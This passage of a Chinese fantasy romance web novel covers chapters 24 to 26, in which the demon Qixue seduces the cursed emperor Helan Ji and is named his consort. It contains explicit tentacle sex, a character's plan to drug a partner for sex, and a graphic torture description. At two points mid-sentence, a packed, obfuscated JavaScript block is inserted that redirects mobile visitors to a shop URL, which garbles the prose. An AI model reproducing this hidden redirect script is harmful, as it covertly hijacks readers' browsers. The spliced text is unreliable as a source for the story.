绮雪跟着贺兰寂一同坐到软榻上,贺兰寂的手在滚热的药液里泡了许久,捞出来却还是冷得像冰,绮雪感觉到了,忍不住将温热的手心贴住贺兰寂 的手掌,往他的指尖上呵着热气。 “您的寒症为什么会这么重呢? 绮雪心疼得几欲垂泪,只恨自己不懂医术,不能医治贺兰寂的病症。 他靠得如此近,屋中浓重的药味也掩藏不了他身上的香气,如丝如缕地融入贺兰寂的吐息。 “…… 贺兰寂已经许多年不曾这般被人亲近了,他很轻地蜷了蜷手指,却没有抽回自己的手,任由绮雪握着。 他的目光落在绮雪柔美的侧脸上,继而是雪腻纤细的脖颈,这件裙装的前襟敞得比较大,露出了精致的锁骨,在俯视的角度下,甚至胸口也隐约可见。 贺兰寂闭了闭眼睛,回答绮雪的问题:“使用非人之力的代价。 是那些魇魔吗? 绮雪怔了怔,不由想到了原著中贺兰寂的短寿,即使姬玉衡不杀贺兰寂,以贺兰寂当时的身体状况,最多也就还能再活两年,原来这都是过度使用巫术造成的。 他难过地问贺兰寂:“就不能不用巫术吗? 贺兰寂默然,绮雪见他不答,便知道他有非做不可的理由,情不自禁地更握紧他的双手,轻声呢喃道:“我真的很想为陛下分忧……可是我能为您做些什么呢? 他注视贺兰寂的目光柔如春水,皆是不加掩饰的爱意,贺兰寂和他对视,开口说道:“陪着朕就够了。 他一把拉起绮雪,将他抱到自己腿上,绮雪吃惊地环住他的脖颈,都不敢坐实,生怕自己压疼他:“陛下? 贺兰寂感受到绮雪的慌张,便握住他的腰,叫他结结实实地坐下来。 此时他们亲密相贴,绮雪的体温源源不断地传到贺兰寂身上,如同散发着馥郁芳香的暖玉,是那么地温热柔软,教人爱不释手,永远都不想放开他。 似乎连深入肌理骨髓的阴冷之气都被驱散了,贺兰寂抱着绮雪,声音低哑地说道:“就这样陪着朕,哪里都别去。 这还是贺兰寂第一次主动亲近绮雪,绮雪既欢喜又心疼,轻轻地指尖搭在贺兰寂的头上,为他按摩穴位。 贺兰寂闭上双眼,抱着绮雪躺倒在软榻上,因为疼痛,他几乎彻夜未眠,现在疼痛消散,他终于得以片刻的宁静,很快了陷入了沉睡。 “陛下? 绮雪发现贺兰寂的呼吸变得绵长,感觉到他应该是睡着了,轻轻地唤了他一声。 见贺兰寂没有反应,他凑近过去,吻住那双色泽浅淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336024|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的薄唇,将妖力炼化成精元,从口中渡给贺兰寂。 将体内的 大部分妖力渡给贺兰寂绮雪的脸色有些发白。 这些精元可以滋润贺兰寂的身体至少这几天他应该不会感到太痛苦但这么做也只是饮鸩止渴等到精元流散后贺兰寂千疮百孔的身体还是会恢复原样。 他必须想个办法救救陛下…… 抱着这样的念头绮雪依偎着贺兰寂熟睡过去他的消耗太大了此时只觉得十分疲累也需要睡一会。 两人相拥而眠期间薛总管来过一次见他们都睡着他轻柔地为他们盖上了锦被又悄然退了下去。 …… 贺兰寂睁开双眸动作稍显凝滞已然察觉到自身的疼痛和不适竟奇异地一扫而空了。 不仅如此他甚至感到自己似乎有使不完的力量而他距离上一次有这种感觉还是在数年之前那时他还不曾修习巫术。 他微微低头看到绮雪缩在他怀里睡得正香一张美人面略显苍白眼尾微微泛红是为他伤心难过的痕迹。 接着他的目光又扫过绮雪形状姣好的红唇。 方才他做了梦梦见了桑雪的香气和颈间的那抹雪白。 桑雪攀着他的肩甜蜜地亲吻他的唇柔声唤他“陛下”后来变成了“哥哥”。 “……” 贺兰寂伸手抚向绮雪的脸却在指尖即将接触到唇瓣的那刻停了下来。 最终他只是抚摸过绮雪的面颊驱使魇魔们轻手轻脚地抱起绮雪 他打算从徐太妃手中要来桑雪。 桑雪应该留在他的身边。- “不行!” 听完贺兰寂的要求徐太妃激动地说:“我才不会让阿雪住在你的长乐宫你的长乐宫养了那么多毒虫妖魔太可怕了阿雪住在那里会吓出病来的!” “已经清理干净了。”贺兰寂说“我会好好待他。” 贺兰寂向来一言九鼎只要是他承诺的就一定会实现既然他这么说就一定会待绮雪很好甚至会比徐太妃对绮雪还要好。 徐太妃怔了一会不情愿地说:“可我离不开阿雪我已经习惯阿雪陪在我身边了他要是不在翠微宫我会很寂寞的。” “我同样离不开他。”贺兰寂说“我需要他留在我身边。” 徐太妃面露惊讶:“你既然这么喜欢阿雪?” 贺兰寂没有正面回答她的问题只是说:“他喜欢我我不会辜负他的心意。 “也对,阿雪确实非常喜欢你。 徐太妃叹了口气,纵使心里百般不舍,但还是答应了贺兰寂:“也罢,如果阿雪真的愿意搬去长乐宫,我不会阻拦他,但你要记得放阿雪过来看我,可不准阻拦我们见面。 贺兰寂颔首:“他应该来看望你。 “我就知道阿雪人见人爱,你肯定也会喜欢他,只是我没想到你竟要跟我抢他…… 徐太妃嗔怪了一句,却是有些骄傲的:“我还有个条件,若是阿雪真和你住,你这个做哥哥的必须记住妹妹的喜恶,我就讲一遍,你听好了,以后我会考你的。 …… 就这样,绮雪正式搬进了长乐宫。 他自然欢喜不已,同时心里非常感激徐太妃,每日都会回翠微宫看望她,陪她吃午饭,下午再回到长乐宫,只要贺兰寂没有召见大臣,他都会陪在贺兰寂身边。 晚上,绮雪会点灯熬油地翻看医书和道书,为贺兰寂寻找调理身体的办法,可惜没什么结果。 眼看着精元逐渐消散,贺兰寂的气色愈发苍白,绮雪满心忧虑,连龙床都没心思爬了。 直到这一日,趁着贺兰寂处理机密要务的功夫,他又一头钻进藏书阁,寻找今晚要看的书,忽然听到身后传来一道温和的声音:“阿雪。 听到熟悉的男声,绮雪惊喜交加地回头,刚好对上了玄阳的视线。 玄阳手持拂尘,道袍雪白,神情慈和悲悯,望着绮雪的目光更多了几分柔和:“我来宫中送药,顺道来看看你,我说过,我们还会见面的。 “弟子拜见圣君! 绮雪满心欢喜,正欲跪下来拜见玄阳,却被他轻轻托住,不让他跪下去:“你我之间,大可不用在意这些虚礼,以后不必跪拜我了。 他偏爱绮雪,绮雪闻言却连连摇头,诚惶诚恐地说:“弟子不敢,礼不可废,见到圣君怎能不拜。 见他坚持,玄阳微微叹息:“也罢,就随你的意思。一段时日不见,你在宫中过得如何?有没有遇见什么难事? 难事自然是有,就是为贺兰寂调理身体,如果可以,最好还能医治徐太妃的疯病,恢复她的心智。 不过这段时日没有见到玄阳,绮雪也想他了,便没有立刻向玄阳求助,而是关心地问:“我在宫中一切都好,圣君呢?您过得怎么样,谢殊没有为难您吧? 玄阳一怔,眸中流露出清浅的笑意,抚摸绮雪的发顶:“倒是不曾有人关心我过得如何,阿雪,你还是第一个。 “你尽管放心,没人能为难我,也包括谢殊在内。他语气淡然,又问绮雪,“你呢?无论遇到什么事,尽管向我求助,我都会帮你。 绮雪心中温暖,甜甜地向玄阳撒娇:“圣君对弟子真好,弟子真是受之有愧。 “不是‘受之有愧’,而是‘理所应当’。 玄阳抬手,宠爱地点了点绮雪的鼻尖:“你为我做事,我岂能亏待你,尽管告诉我。 “弟子确有难事,还请圣君相助…… 绮雪将自己遇到的难题一股脑地告诉了玄阳,希望能治好贺兰寂和徐太妃的病。 但鉴于玄阳曾经明言,他不喜欢绮雪总是那么心软地为别人求情,绮雪就换了种说法:只有治好贺兰寂和徐太妃的病,他才能顺利诞下贺兰寂的子嗣,徐太妃也能帮他在宫中更稳地立足,方便以后对付谢殊和姬玉衡。 果然,这一次玄阳并未表现出任何不满,而是颔首说道:“你做得很好,若能治好他们,的确对你很有帮助。 “我与徐太妃有过一面之缘,她的疯症皆缘于魂魄离体,丢失了一魂一魄。若要恢复神智,便需找回她的魂魄,此事不难,我会尽快办好。 “至于贺兰寂的病症—— 一本陈旧的古书兀地出现在玄阳手中,他将古书交给绮雪:“就由你来为他治好,这件事对你同样大有裨益。 “阿雪,你可曾听说过双修之法? 绮雪接过古书,惊讶地说:“弟子当然听说过,莫非这本书就是…… 玄阳点头:“它正是一本双修功法。 所谓双修之法,就是通过欢合的方式提升双方的修为,是一门古老的修道之法。 双修之法几乎没有缺陷,功效又霸道强大,百年前一经问世,就掀起了可怖的腥风血雨。 无数人因它而死,数年后,经手过这部功法的人彻底死绝,从此便再没有人见过它,绮雪也只是在读书的时候看过这部功法的介绍,却从来没有见过它。 绮雪惊叹道:“弟子一直以为这部功法早就失传了,没想到圣君竟然还保留着它。 玄阳轻笑一声:“我当然保留着它,你可知是谁创造了这门功法? 绮雪眨眨眼睛:“难道是您? “不是我,是谢殊。 玄阳道:“很有趣,不是吗?清高绝俗的大雍国师却偏偏创造了淫.邪的双修之法,你说这是为什么? 没有人知道谢殊为何会创造双修功法,不过绮雪觉得这就是谢 第 25 章 秉性柔嘉,端娴慧... 第25章秉性柔嘉,端娴慧. 寝殿内光线暗淡,门窗都是紧闭的,只在角落留了一盏灯火,微微照亮幔帐后的床榻。 贺兰寂将绮雪按在身下,他未着发冠,如墨的黑发垂落而下,阴郁的眉眼染着夜色,肤色苍白如霜,透出幽幽的鬼魅。 绮雪温顺地躺在下方,心跳得很快,既害羞又忐忑,任由贺兰寂捏住手腕,毫无反抗之心,甚至还故意将外衫的衣襟蹭得更开,勾出身体的线条诱惑贺兰寂。 桃粉衫子如凌乱的花瓣般铺陈在锦缎上,盛开绽放,吐露娇艳的花蕊。 半透明的纱衣包裹着美艳的肉.体,薄纱之下,纤纤的腰身不盈一握,温软的肌肤白得如同沁过牛乳,两枚小巧的红宝石乳.钉衬着奶冻般的樱粉,艳丽得不可思议。 贺兰寂的视线在乳.钉上停留了片刻,又看向绮雪的脸。 “睡不着?” 他淡声重复绮雪的说辞,松开对绮雪的禁锢,挑起纱衣的衣襟:“所以穿成这样来见朕?” 绮雪姣好的面容染上薄红,他是想勾引贺兰寂不假,任谁都能看得出来,但被贺兰寂语气平淡地揭穿又是另一回事,难免会有几分难为情。 “不好看吗?” 绮雪软声撒娇,伸出双手热情地攀附上贺兰寂的胸膛和腰腹,为他解开中衣的衣襟,露出结实的胸肌:“我只会这样穿给陛下看……陛下喜欢吗?阿雪只是想要陛下更喜欢阿雪……” 他仰起头,意欲亲吻贺兰寂的喉结,却在靠近前被贺兰寂捏住了下巴。 “你不需要用这种方式讨朕欢心。” 贺兰寂垂下眼睛,将绮雪颊边凌乱的碎发捋顺,轻轻地抚摸他的长发。 “朕留你在身边不是为了让你做朕的娈.宠。徐太妃喜欢你,朕也认你,只要你愿意,朕就是你哥哥,一样会宠爱你,你想要什么朕都会给你。” 他将绮雪抱了起来,视线避开绮雪香.艳的身体,为他拢起外衫,绮雪却柔若无骨地靠进他怀里,环住他劲瘦的窄腰,将红润的唇送了上去。 “陛下误会了,我不是在刻意讨好您,我这样做只是为了我自己。” “我喜欢陛下、贪图陛下,所以才穿成这样引诱您……我不要陛下做我哥哥,而是做我的夫君,难道不行吗?” 馥郁的香气萦绕在贺兰寂的吐息间,因为绮雪的表白,他怔住了,绮雪便趁机吻上了他的薄唇。 双唇相贴的一瞬,贺兰寂回过神 来,猛地扣紧了绮雪的后腰。 他从未与人有过肌肤之亲,这种感觉于他而言太过陌生,尤其亲吻他的人还是他曾经在梦中肖想过的绮雪,立刻带来了过电般的酥.麻感。 细密的水声充斥着在寂静的寝殿中,绮雪被吻得双眸迷蒙,软软地倒在贺兰寂怀里,在唇舌交缠间轻柔地唤道:“陛下……” 他的声音很轻,很甜,落在耳畔里,甜美得足以引起战栗。 贺兰寂与他吻了许久,直到绮雪满面潮红,双唇染满水光,才将他放开,唇间牵出一条春.情满溢的黏丝。 绮雪气息不畅,不得不张着唇呼吸,他被贺兰寂亲得满眼是泪,鬓边微微渗出汗珠,似被雨水打湿的花枝,娇弱又可怜。 他与贺兰寂亲密地依偎,感受到贺兰寂对他动了情,心中很是喜悦。 他不仅是为了自己的美人计颇有成效而高兴,更开心于贺兰寂虽然身体不好,但在这方面还是很健康的,原来陛下不纳嫔妃并不是因为自身无法延续子嗣,而是别的缘故。看来只要他足够努力,就一定能怀上陛下的孩子。 “陛下,阿雪好喜欢陛下……” 绮雪柔声呢喃,眸光迷离,正欲与贺兰寂更进一步,岂料下一刻贺兰寂竟推开了他,哑声说道:“你回去吧。” “陛下?”绮雪睁大眼睛,还以为自己听错了,“您……您要赶我走?” 见贺兰寂不语,绮雪难以置信,立时起酸软的身体,拉住贺兰寂的衣角:“陛下为什么不要我?是我哪里做得不够好吗?求陛下告诉我,我一定会改的,求求陛下了,别不要阿雪……” 他神色酸楚,满怀委屈地央求贺兰寂,他不明白,陛下对他分明很有感觉,为何偏偏要在箭在弦上的时候拒绝他?他到底哪里惹陛下不悦了? 感觉到绮雪满心的慌乱和难过,贺兰寂将他抱在怀里:“不是你的错。是朕不好,朕……有难言之隐,碰不得你。” 难言之隐?什么难言之隐?陛下明明没有问题…… 绮雪不信,语气带上一点嗔怪:“陛下能有什么难言之隐?” 贺兰寂抚摸他的发顶:“朕若是说了,你一定会怕朕。” “才不会……陛下都没有告诉我,怎么就知道我会害怕?” 绮雪望向贺兰寂,一定要从他口中听到答案,贺兰寂却避而不谈,只是:“回去好好歇息,以后你就是朕的弟弟,明日朕为你挑选亲王封号,想要什么字由你来挑。” 他眼睫低垂,神情冷漠,若不是方才绮雪在亲吻间亲 身体会过他的热忱,也许他真的会相信贺兰寂对他没有一丝绮念。 绮雪并不清楚贺兰寂明明心动却还拒绝他的缘由,但他不可能就这样放弃跟贺兰寂双修。看来只能施行另一个计划了,就是在熏炉中放香丸迷晕陛下,他再偷偷回来与陛下欢合。 “是,多谢陛下……阿雪告退。 绮雪装出委委屈屈的样子,实则满心不甘地下了床,站在床边拢好桃粉衫子。 贺兰寂坐在床榻上,沉默地看着绮雪系衣带,红宝石的微光朦胧地从纱衣下透了出来,见识过这身外衫下究竟是何等绝艳的风情,便再不可能忘记。 他喉结微滚,藏在暗处的魇魔感受到他内心最深处的悸动,没有接受他的命令,便从缝隙间钻了出来,拦住了绮雪的去路。 绮雪喜出望外地回头:“陛下不打算让我回去了? 贺兰寂默然,让魇魔立即退下:“朕没有这个意思。 绮雪心思一动,很快就猜到了魇魔为何会突然出现:它只是顺应了陛下的欲念,其实陛下不希望他离开,只是出于某种缘故,才不能留下他。 在绮雪看来,任何理由都比不上贺兰寂的身体和子嗣重要,双修功法是两人都心甘情愿才最有效,若是贺兰寂沉睡不醒,效果定会大打折扣,还是清醒着比较好。 想到这里,绮雪又打起了精神,想要再试着说服贺兰寂。 “陛下既然不想放我回去,为什么不直说呢?我胆子很大,不怕您吓到我,我怎么可能惧怕陛下呢? 绮雪情意绵绵地望向贺兰寂,眸光带着柔如水的媚意,娇声对他说:“我知道陛下对我并非无动于衷,既然如此,为什么您要拒绝我呢? “您不曾经历过男女之事,不知晓其中滋味有多快活,我希望陛下能体会到那样的极乐,而且是我带给您的极乐…… 贺兰寂的视线蓦地落在他身上:“原来你知道有多快活?你体会过? “我……绮雪遭他反问,顿时心里一慌,这才察觉到自己不小心说漏了嘴。 “怎么会呢。他故作镇定,冲贺兰寂微笑,“我也只是看过书,比陛下多了解几分罢了。 他的表情几乎没有破绽,可内心的慌张与谎言的味道出卖了他,令贺兰寂的目光暗了下来。 贺兰寂走下床榻,拉开他纱衣的衣襟,坦露出妖艳的红宝石乳.钉:“这是你昔日的情郎送你的礼物? “我…… 绮雪的心更乱了,生怕贺兰寂发现他和卫淮有关系:“它 是……我自己…… “说实话,别骗朕。 贺兰寂挑起绮雪的下颌,逼迫他与自己对视:“朕不喜欢被人欺瞒。 绮雪咬了咬唇,再三犹豫,还是承认了:“我是有过情郎,这对乳.钉也是他送给我的,但我早就和他断了。若是陛下嫌恶我并非处子身,那我这就告退了,以后我不会再纠缠陛下。 他推开贺兰寂的手,转身往寝殿门口走,身后并没有脚步声追过来。 贞洁有那么重要吗? 绮雪不明白,也向来不在乎,不过他知道人族中的大部分都十分看重贞洁。 很可惜的是,陛下也是其中一员,但是要怪也只能怪他自己说漏了嘴,看来他做不成陛下的宠妃了,以后只能靠迷晕陛下才能…… 忽然,绮雪感觉到了不对劲,他的小腿似乎被什么东西抓住了。 他低头一看,只见他的小腿上缠绕着一条黑色的东西,如同墨鱼的腕足,但足有碗口粗细,柔软的乌黑肉块往下流淌着粘稠的液体,将绮雪的小腿染得湿哒哒的。 这是什么妖魔?! 绮雪心里一惊,同时也非常担心贺兰寂是不是被抓住了,当即就要从随身携带的玉牌中召唤出佛陀鬼,却在回头的刹那发现,这奇怪的触手竟然是从贺兰寂的衣袍下延伸出来的。 黑色触手不止一条,而是有许多条,它们有粗有细,张牙舞爪地从贺兰寂的身后探了出来,抓住绮雪的就是当中最粗的一条。 绮雪惊呆了,眼睁睁地看着又有几条触手伸了过来,捆住他的手腕和脚踝,托住他的腰和屁股,将他托了起来。 其中有一条细小的触手格外灵活调皮,不停地剐蹭着绮雪的脸颊,留下的水液很稠,散发出淡淡的膻味。 他如若被献祭的珍贵供品,被触手们抬回了贺兰寂面前。 夜色凄清,贺兰寂肩披黑色大氅,阴郁俊美的眉眼苍白晦暗,脚边盘绕着黏腻的肉块,丑陋畸形得令人作呕。 他微微倾身,冰冷的手抚上绮雪的眉眼:“你说你心爱朕,不可能惧怕朕,真是这样吗? “这就是朕最真实的模样,若想怀上朕的子嗣,就必须承受它们。 “朕给过你机会,是你不想离开,现在朕不会放你走了。 除了没有钟情之人外,这就是贺兰寂无意繁衍后代子嗣的另一个原因。 为了复仇,他从十岁起修炼巫术,多年后终遭巫术反噬,不仅短命,身体更是与魇魔融为一体,这就是为什么他能够随心所欲地驱使 魇魔,以及为什么不能停止使用巫术。 他可以正常欢合,但仅仅使用人类的身体,无法令承受之人怀上子嗣,若要受.孕,就必须变成这幅不人不鬼的模样,用这些怪异的触肢来浇灌…… 试问谁愿意和他这样的怪物温存? 他本不欲桑雪发现他这副丑陋的模样,所以才叫桑雪离开,桑雪是唯一会心爱他的人,若是连他也厌恶他,他实在不清楚该如何是好。 只是听闻桑雪承认他曾有过情郎,又见到他要走,他的本能便已不受他的控制,将桑雪带了回来。 或许不愿见到桑雪离开,又或许……是出于嫉妒,想要桑雪承受他的全部。 最调皮的小触肢对那对鲜艳的红宝石很感兴趣,一直在拨弄宝石。 “叮…… 红宝石在漆黑的肉块上跳跃,发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336025|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出金属轻微的摩擦声。 水液将宝石染得光亮,即使在昏黑的灯火中,也散发出盈润美丽的光泽,映入贺兰寂眼底。 忽然,触肢将宝石卷了起来,微微地扯高。 “陛……陛下! 绮雪蓦地拔高声调,嗓音变得破碎不堪,发出细微的呜咽。 他落了泪,一张美人面哭得梨花带雨,浑身都在发抖:“陛下,求您饶了阿雪…… 他哭起来的模样万般可怜,看上去非常害怕,可贺兰寂通过魇魔感知到他的情绪,发现他哭泣的缘由不是恐惧,而是……太舒爽了。 正如绮雪说的,他不会害怕贺兰寂。他的心中有惊讶,有慌乱,有意乱神迷,却唯独没有恐惧。 等到缓过这股劲,绮雪吸了吸鼻尖,泪眼朦胧地望向贺兰寂,满是绵绵的柔情蜜意。 “我就是心爱陛下,一点也不会害怕陛下,现在陛下信我了吗? “不管怎么对我都行的,无论陛下是什么样子我都喜欢,也喜欢陛下的…… 他羞怯地亲了亲细小的触肢,一瞬间,贺兰寂的瞳孔微微收缩,所有的触肢欢腾雀跃,全部缠绕上了绮雪的身体。 …… 烛台上唯一的灯火熄灭了。 寝殿彻底陷入黑暗,只有窗外的月光透过窗棂,隐约映照出幔帐的轮廓。 皱成一团的纱衣落在绒毯上,早就湿得不像样子了。 “嗯……陛下…… 幔帐后,绮雪伏在枕边,清艳的面容满是泪光,想要抓住幔帐,手指却脱力地垂了下来。 他张着唇,疲倦不堪地吐出热气,呼吸之间,仿佛满是触肢上那股又腥 又甜的味道,贺兰寂从他背后抱住他,又将他拽了回去。 贺兰寂的精力强盛远超绮雪的想象,陛下不是病弱之身吗,可他到底哪里病弱了? 神魂颠倒间,绮雪早就忘了双修功法的口诀了,甚至连双修这件事本身都不记得了,任由贺兰寂摆布他。 现在他好累,也好渴,只想回去喝水和休息,但是他的肚子又好撑,根本喝不下去,那就回去睡觉,他真的不行了,他好困…… 绮雪颤颤巍巍地往外爬,却被触肢缠住脚踝,又拖了回去。 贺兰寂抱住他,修长的手按住他鼓胀起来的小腹,又和他接吻。 绮雪边亲边哭,向贺兰寂求饶:“陛下,我真的不行了,求您饶了我吧……” 他哭得可怜极了,贺兰寂却绝不可能轻易放过他。 他感知到绮雪的情绪,知道他还没到彻底崩溃的那一步,便说道:“饶过你?朕知道你还可以,为什么要饶过你?” 作为回应,便是两枚红宝石甩出漂亮的弧度,始终摇晃不停。 …… 清晨。 到了贺兰寂每日晨起的时辰,薛总管带着十几个小内侍候在寝殿门外。 尽管知道贺兰寂疑心重,从不会让内侍们近身,都是由魇魔伺候他的起居,但该有的规矩不能少,薛总管还是会每日带人过来候着,至少还能递一递东西嘛。 只是今天在门外候了半晌,眼见着上早朝的时辰都快到了,屋里却还是没有半点动静。 这种事以前也不是没发生过,每次都是贺兰寂病得起不来身了,薛总管心中焦急,一面让小内侍赶紧去太医院请太医,一面派人通知前朝,告诉诸位大臣,今日不用上朝了。 薛总管推开屋门,独自进了寝殿,想要先看看贺兰寂的状况,但一开门就是一股浓郁的靡.艳气息,令薛总管吃了一惊。 “陛下?” 他轻轻走近床榻,看到绒毯上的纱衣和桃粉衫子,已经隐隐猜到是怎么回事了。 这件桃粉衫子还是陛下吩咐他为桑雪公子置办的,陛下对桑公子的所有事都非常上心,屋中的诸多陈设他都逐一过问,只不过陛下不想让桑公子知道,他这老奴也就守口如瓶罢了。 这时,幔帐中伸出一只苍白的手,将幔帐掀开了些许缝隙,那股气息就更浓了。 “薛明。” 幔帐中传来贺兰寂沙哑低沉的嗓音,有些疲倦,但更多的是餍足:“今天醒来便误了时辰,就不去早朝了,不过朕有道旨意要传下去,你去叫翰林们 拟旨。” 薛总管恭恭敬敬地说:“请陛下吩咐。” “桑氏之子桑雪秉性柔嘉,端娴慧至,堪为贵妃。”贺兰寂说,“至于封号,等他醒了,朕再问问他自己的意思。” “是,陛下。” 薛总管应下了,又小心地提了一句:“奴婢也知道桑公子是极好的人,无论怎样赏赐他都不过分,只是一开始就给贵妃的位份会不会太高了?大臣们说不定会反对……” “由不得他们说‘不’,朕没有直接封桑雪做皇后便是给足了他们颜面。” 贺兰寂抱着熟睡的绮雪,冷淡地说:“奉劝他们还是趁早死了往宫中填人的心,朕从今往后只有桑雪一个,他迟早是朕的皇后。” 作者有话要说 睡梦中的兔团:触手……好多触手……不要过来了!(乱蹬兔jio)(鸵鸟状埋进灌木丛)(露出兔屁) 从明天开始就恢复晚九点更新啦!亲亲宝贝们=3= 感谢右位至上主义的火箭炮×2,万人迷受是我的xp罢了的火箭炮,三好公民的地雷×3,纯良比格的地雷×2,以及小受受的ATM机、Hong~龙、鳩籨、槐序、汤圆小猫、命中注定的姣姣老婆的地雷!=3= 第 26 章 贺兰寂宠他宠得荒... 第26章贺兰寂宠他宠得荒 贺兰寂的口谕传得很快,不过片刻功夫,翰林院就已经收到了他的旨意,官员们不敢有丝毫怠慢,立刻开始起草封贵妃的诏书。 事实上,薛总管的顾虑纯属多心了,这些大臣哪敢向贺兰寂提出异议,他的暴君之名绝非虚传,自他登基后,新制定的大雍律法是历朝历代最为严酷的,并且增添了诸多千奇百怪的酷刑,只是看到那些刑罚的条目,就足以吓得人肝胆俱裂。 前段时日,兖郡发生了骇人听闻的食人案,当地官员与邪僧勾结,四处诱骗孤苦无依的女子和孩童做成血食和血药,戕害了上百条性命。 此案告破后,凡是与案件有关联的嫌犯全都被押送到上京处以极刑,京中有一座刑场,名为“铜棘台 每个嫌犯被处以的极刑都不相同,最残酷的几种都是贺兰寂亲创的。 其中有一种刑罚是隔着皮肉敲碎犯人全身的骨头,期间不能渗血,由于犯人被灌了秘药,会始终保持清醒,骨头粉碎后,再从七窍灌入食人肉的虫子,吃净里面稀烂的血肉,只剩一张人皮。 喉咙和声带是最后吃掉的,这样就可以一直听到犯人的惨叫。 处刑持续了半日,很多官员在观刑时都被恶心吐了,老丞相年事已高,更是直接被吓病了,到现在还在府中休养,已经有多日没来上朝了。 立贵妃这事,满朝文武也就大将军卫淮和老丞相还敢过问,但他们两位一个身在云月观,一个在府中养病,谁都没空插手这件事。 这两位不在,剩下的人自然唯皇命是从,谁敢反对贺兰寂,就得先掂量一下自己有几条命够去诏狱和铜棘台走一遭的。 只是起草诏书的时候,翰林们都犯了难。 因为除却贵妃的姓名外,别的情况他们就一概不知了,桑氏是哪里的桑氏,贵妃娘娘的品性与样貌又是如何的,陛下都没跟他们说啊。 最后还是他们托人向宫中打听,才知晓了更多内情。 桑雪出身卑微,本是翠微宫的内侍,容姿倾城,陛下一见到他就被迷得神魂颠倒的,昨夜召幸,今天就封为贵妃,甚至今早也是因为宠幸桑雪过度才罢了早朝。 官员们大为震惊,因为在他们的印象中,陛下对政事向来夙夜在公、宵旰忧勤,除非病重,否则从不耽误国事,因为贪图床笫之欢而延误早朝?这样的事怎么可能会发生在陛下身上? 如果是真的,这位贵妃娘娘的手段,必定非同小可…… 他该不会是那种狐惑媚主、扰乱朝纲的红颜祸水吧? 带着几分顾虑和忧思,翰林们起草了封妃的诏书,送回了宫中,贺兰寂看过草拟,改了几句话,这时已经是下午了,绮雪才从睡梦中醒了过来。 睡醒的绮雪还是觉得很累,浑身都是酸软的,连睁开眼皮都费劲。 他懒洋洋地翻了个身,思绪渐渐回笼,想起昨晚的荒唐,他便不免脸红心跳,实在是有点怕了。 倒不是害怕陛下那酷似妖魔的模样,只要陛下还是陛下,他就不可能怕,陛下是什么样子他都喜欢,只是……陛下的精力太强盛了,那样一遍遍地弄.他,真是舒服得快要死了,他实在受不住。 甚至就连最重要的双修也忘得一干二净了,这怎么能行呢,他本就是为了这个目的才勾引陛下的。 他不能任由陛下摆布,等到明天……不行,还得再歇息一天,等到后天,他一定会拿下陛下的! 绮雪暗暗在心中发誓,又躺了一会,勉强扶着床柱坐了起来。 他想下床喝口水,细小的触肢忽然从幔帐外爬了进来,给他端来了茶水。 一见到它,绮雪脸红了,轻咬下唇接过茶杯。小触肢活泼得很,灵活地钻进了锦被之下,绮雪轻呼一声,端着茶杯的手瞬间一颤:“别…… 他颤抖地呼吸着,面容渐渐染满绯色,雪白的肩头蒙上了细汗。 手中的茶杯仿佛变得千钧重,他端不住了,险些失手将茶杯摔在锦被上,一只手忽然穿过幔帐,稳稳地扶住他的手腕。 贺兰寂掀开幔帐,替绮雪端住茶杯,将杯沿抵到他唇边。绮雪就着他的手喝了水,忽地浑身一颤,软声求饶:“陛下,能不能……能不能让它停下? 贺兰寂垂眸看着他。 “可是你很喜欢它。他说,“你还希望能更深些。 “陛下! 被贺兰寂点破,绮雪面红耳赤地将自己埋进了被子里。他简直怀疑贺兰寂是不是会读心术,要不然他怎么总是知道他在想什么?现在又……嗯…… 贺兰寂将茶杯随手交给魇魔,掀开锦被抱住绮雪,同时解开自己的衣带。 绮雪没能等到自己拿下贺兰寂,就又被贺兰寂摆布了一回。小触肢湿漉漉地爬下床榻,绮雪也变得湿漉漉的,被贺兰寂抱去沐浴。 沐浴后,贺兰寂又抱着绮雪穿衣服。午膳的时间过了,御膳房专门为绮雪做了一桌素菜,贺兰寂抱着绮雪 坐到桌前,也没让他下去,就将绮雪抱到他大腿上,他一口口地喂绮雪吃饭。 自从绮雪醒了,他的脚就没沾过地,都是贺兰寂抱着他到处走,仿佛他是离了贺兰寂就活不了的菟丝子。 但是绮雪本来就喜欢粘着贺兰寂,贺兰寂宠他宠得荒唐,他也乐于接受,心里甜滋滋地被贺兰寂伺候着,勾住他的后颈亲了他一口:“陛下对我真好。” 贺兰寂回吻他,在他的唇瓣上留下蜻蜓点水的一吻。 这样抱着绮雪到处走,他一点也不觉得乏累,甚至气色比往日还要好。 他与绮雪欢合后,身心亲密地融为一体,不仅是绮雪喜爱他,他也心爱绮雪,情意缠绵,更进一步地削弱了巫术的反噬。 吃过午食,绮雪依依不舍地起身,要从贺兰寂腿上下来:“我该去看望太妃娘娘了。” 徐太妃也很粘绮雪,一日见不到他就要像小孩似的发脾气,她对绮雪那么好,绮雪舍不得让她不开心,他本该在上午就去翠微宫陪她的,但睡过了时辰,只能现在去了。 贺兰寂将他按了回去,不让他走:“朕陪你去,薛明,叫他们备车。” 方才薛总管一直安安静静地充当木偶,只管为他们布菜,这时他适时地活了,出声提醒道:“陛下,大臣们已经在书房等候了,为的是与您商议贵妃娘娘的封号和册封大典。” “贵妃娘娘?” 